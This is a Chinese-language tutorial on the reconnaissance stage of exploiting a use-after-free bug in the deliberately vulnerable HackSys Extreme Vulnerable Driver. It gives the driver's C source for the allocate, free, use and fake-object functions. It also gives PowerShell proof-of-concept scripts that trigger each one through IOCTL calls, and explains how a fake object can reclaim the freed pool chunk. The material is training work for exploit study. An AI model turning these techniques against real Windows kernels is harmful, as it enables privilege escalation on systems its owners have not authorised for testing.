返回介绍

侦查挑战

发布于 2025-01-03 23:32:56 字数 12530 浏览 0 评论 0 收藏 0

本文的侦查这部分有点不太一样,该 UAF 漏洞中有相当数量的驱动函数卷入进来。我们会逐一审视,最终酌情提供一些细节。

NTSTATUS AllocateUaFObject() {
  NTSTATUS Status = STATUS_SUCCESS;
  PUSE_AFTER_FREE UseAfterFree = NULL;
 
  PAGED_CODE();
 
  __try {
    DbgPrint("[+] Allocating UaF Object\n");
 
    // Allocate Pool chunk
    UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
                                sizeof(USE_AFTER_FREE),
                                (ULONG)POOL_TAG);
 
    if (!UseAfterFree) {
      // Unable to allocate Pool chunk
      DbgPrint("[-] Unable to allocate Pool chunk\n");
 
      Status = STATUS_NO_MEMORY;
      return Status;
    }
    else {
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
      DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
      DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
    }
 
    // Fill the buffer with ASCII 'A'
    RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
 
    // Null terminate the char buffer
    UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
 
    // Set the object Callback function
    UseAfterFree->Callback = &UaFObjectCallback;
 
    // Assign the address of UseAfterFree to a global variable
    g_UseAfterFreeObject = UseAfterFree;
 
    DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
    DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
    DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

函数分配了非分页内存池块,并用’A’字符填充,指派了一个回调函数指针并添加了一个 null 结束符。IDA 中基本一致,下面的截图可以用来参考。注意对象尺寸是 0x58 字节,池标签为"Hack"(小端)。

我们可以用下面的 PowerShell POC 来调用这个函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
   
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
  
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

NTSTATUS FreeUaFObject() {
  NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
  PAGED_CODE();
 
  __try {
    if (g_UseAfterFreeObject) {
      DbgPrint("[+] Freeing UaF Object\n");
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
 
#ifdef SECURE
      // Secure Note: This is secure because the developer is setting
      // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
      ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
 
      g_UseAfterFreeObject = NULL;
#else
      // Vulnerability Note: This is a vanilla Use After Free vulnerability
      // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
      // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
      // (dangling pointer)
      ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
 
      Status = STATUS_SUCCESS;
    }
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

对等考虑,上面的函数对引用标签值的内存池块进行了释放。这个函数包含了 UAF 漏洞的关键点——在对象被释放后,"g_UseAfterFreeObject"没有置空。这就留下了一个野指针。我们再次试试下面的 POC。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
   
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
  
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

注意到该内存块地址和前面分配的是同一个。

NTSTATUS UseUaFObject() {
  NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
  PAGED_CODE();
 
  __try {
    if (g_UseAfterFreeObject) {
      DbgPrint("[+] Using UaF Object\n");
      DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
      DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
      DbgPrint("[+] Calling Callback\n");
 
      if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback();
      }
 
      Status = STATUS_SUCCESS;
    }
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

该函数从"g_UseAfterFreeObject"读取值并执行该对象的回调函数。如果我们通过下面的 POC 调用该函数,那么最终以调用到一个不稳定的内存地址而告终,这是因为系统可以自由的把前面释放掉的内存块用于其他目的,只要它合适。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
   
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
  
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

最终,经过一些谋划,我们找到这样一个驱动函数:它允许我们在非分页内存池上分配一个伪造的对象;更为方便的,该函数允许我们把对象分配到原本的 UAF 对象所在的位置上。

NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
  NTSTATUS Status = STATUS_SUCCESS;
  PFAKE_OBJECT KernelFakeObject = NULL;
 
  PAGED_CODE();
 
  __try {
    DbgPrint("[+] Creating Fake Object\n");
 
    // Allocate Pool chunk
    KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
                                 sizeof(FAKE_OBJECT),
                                 (ULONG)POOL_TAG);
 
    if (!KernelFakeObject) {
      // Unable to allocate Pool chunk
      DbgPrint("[-] Unable to allocate Pool chunk\n");
 
      Status = STATUS_NO_MEMORY;
      return Status;
    }
    else {
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
      DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
      DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
    }
 
    // Verify if the buffer resides in user mode
    ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
 
    // Copy the Fake structure to Pool chunk
    RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
 
    // Null terminate the char buffer
    KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
 
    DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

调用该函数的 POC 在下方。注意,这里我们需要精心制作一个缓冲区并提供一个输入长度。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
   
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
  
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文